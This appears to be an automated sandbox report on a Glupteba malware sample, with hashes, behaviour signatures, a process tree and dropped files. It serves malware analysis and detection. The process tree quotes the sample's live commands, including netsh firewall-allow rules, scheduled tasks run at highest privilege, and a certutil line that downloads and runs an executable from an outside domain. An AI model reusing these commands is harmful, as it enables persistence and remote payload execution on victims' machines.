Analysis
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max time kernel
149s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
24-05-2022 15:18
General
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Target
bc20d017a6767bb0a8072340e29b633f3057940ced871219dc4cd3fab83b722e.exe
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Size
3.9MB
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MD5
65d01de320e3a436c774fb370f7a6019
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SHA1
b4c32f9e8c074ff67e4f3508ece73243c0d98d48
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SHA256
bc20d017a6767bb0a8072340e29b633f3057940ced871219dc4cd3fab83b722e
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SHA512
7901aa50f747df43091f59b69aed427ea68bff92375f7b00013c0cfe31c86fede543107e447d2308469ef07d8630046221592e5e512957563cd07817cc05878c
Malware Config
Signatures
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Glupteba
Glupteba is a modular loader written in Golang with various components.
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Glupteba Payload 6 IoCs
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Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
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Executes dropped EXE 3 IoCs
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Modifies Windows Firewall 1 TTPs
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Adds Run key to start application 2 TTPs 1 IoCs
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Modifies boot configuration data using bcdedit 1 IoCs
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Suspicious use of SetThreadContext 3 IoCs
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Drops file in Windows directory 2 IoCs
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Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Modifies data under HKEY_USERS 64 IoCs
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Suspicious behavior: EnumeratesProcesses 8 IoCs
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Suspicious use of AdjustPrivilegeToken 17 IoCs
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Suspicious use of WriteProcessMemory 52 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\bc20d017a6767bb0a8072340e29b633f3057940ced871219dc4cd3fab83b722e.exe"C:\Users\Admin\AppData\Local\Temp\bc20d017a6767bb0a8072340e29b633f3057940ced871219dc4cd3fab83b722e.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\bc20d017a6767bb0a8072340e29b633f3057940ced871219dc4cd3fab83b722e.exe"C:\Users\Admin\AppData\Local\Temp\bc20d017a6767bb0a8072340e29b633f3057940ced871219dc4cd3fab83b722e.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\bc20d017a6767bb0a8072340e29b633f3057940ced871219dc4cd3fab83b722e.exe"C:\Users\Admin\AppData\Local\Temp\bc20d017a6767bb0a8072340e29b633f3057940ced871219dc4cd3fab83b722e.exe"3⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\bc20d017a6767bb0a8072340e29b633f3057940ced871219dc4cd3fab83b722e.exe"C:\Users\Admin\AppData\Local\Temp\bc20d017a6767bb0a8072340e29b633f3057940ced871219dc4cd3fab83b722e.exe"4⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\57c765cfdfac\57c765cfdfac\57c765cfdfac.exe" enable=yes"5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\57c765cfdfac\57c765cfdfac\57c765cfdfac.exe" enable=yes6⤵
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes6⤵
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""6⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F7⤵
- Creates scheduled task(s)
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://biggames.online/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F7⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"7⤵
- Executes dropped EXE
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v7⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeFilesize
3.9MB
MD565d01de320e3a436c774fb370f7a6019
SHA1b4c32f9e8c074ff67e4f3508ece73243c0d98d48
SHA256bc20d017a6767bb0a8072340e29b633f3057940ced871219dc4cd3fab83b722e
SHA5127901aa50f747df43091f59b69aed427ea68bff92375f7b00013c0cfe31c86fede543107e447d2308469ef07d8630046221592e5e512957563cd07817cc05878c
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C:\Windows\rss\csrss.exeFilesize
3.9MB
MD565d01de320e3a436c774fb370f7a6019
SHA1b4c32f9e8c074ff67e4f3508ece73243c0d98d48
SHA256bc20d017a6767bb0a8072340e29b633f3057940ced871219dc4cd3fab83b722e
SHA5127901aa50f747df43091f59b69aed427ea68bff92375f7b00013c0cfe31c86fede543107e447d2308469ef07d8630046221592e5e512957563cd07817cc05878c
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C:\Windows\rss\csrss.exeFilesize
3.9MB
MD565d01de320e3a436c774fb370f7a6019
SHA1b4c32f9e8c074ff67e4f3508ece73243c0d98d48
SHA256bc20d017a6767bb0a8072340e29b633f3057940ced871219dc4cd3fab83b722e
SHA5127901aa50f747df43091f59b69aed427ea68bff92375f7b00013c0cfe31c86fede543107e447d2308469ef07d8630046221592e5e512957563cd07817cc05878c
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memory/1844-155-0x0000000001600000-0x00000000019A6000-memory.dmpFilesize
3.6MB
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memory/1844-148-0x0000000000000000-mapping.dmp
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memory/1876-162-0x0000000000000000-mapping.dmp
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memory/2340-157-0x0000000000400000-0x0000000000B0F000-memory.dmpFilesize
7.1MB
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memory/2340-151-0x0000000000000000-mapping.dmp
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memory/2488-143-0x0000000000000000-mapping.dmp
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memory/3472-138-0x0000000000000000-mapping.dmp
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memory/3472-144-0x0000000000400000-0x0000000000B0F000-memory.dmpFilesize
7.1MB
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memory/3588-145-0x0000000000000000-mapping.dmp
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memory/3712-160-0x0000000000000000-mapping.dmp
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memory/3864-147-0x0000000000000000-mapping.dmp
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memory/4168-137-0x0000000000000000-mapping.dmp
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memory/4168-141-0x00000000011C3000-0x0000000001569000-memory.dmpFilesize
3.6MB
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memory/4436-159-0x0000000000000000-mapping.dmp
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memory/4460-158-0x0000000000000000-mapping.dmp
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memory/4572-130-0x0000000000000000-mapping.dmp
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memory/4572-136-0x0000000000400000-0x0000000000B0F000-memory.dmpFilesize
7.1MB
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memory/4572-134-0x0000000000400000-0x0000000000B0F000-memory.dmpFilesize
7.1MB
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memory/4572-131-0x0000000000400000-0x0000000000B0F000-memory.dmpFilesize
7.1MB
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memory/4764-146-0x0000000000000000-mapping.dmp
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memory/4884-135-0x0000000001600000-0x0000000001CF5000-memory.dmpFilesize
7.0MB
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memory/4884-133-0x0000000001252000-0x00000000015F8000-memory.dmpFilesize
3.6MB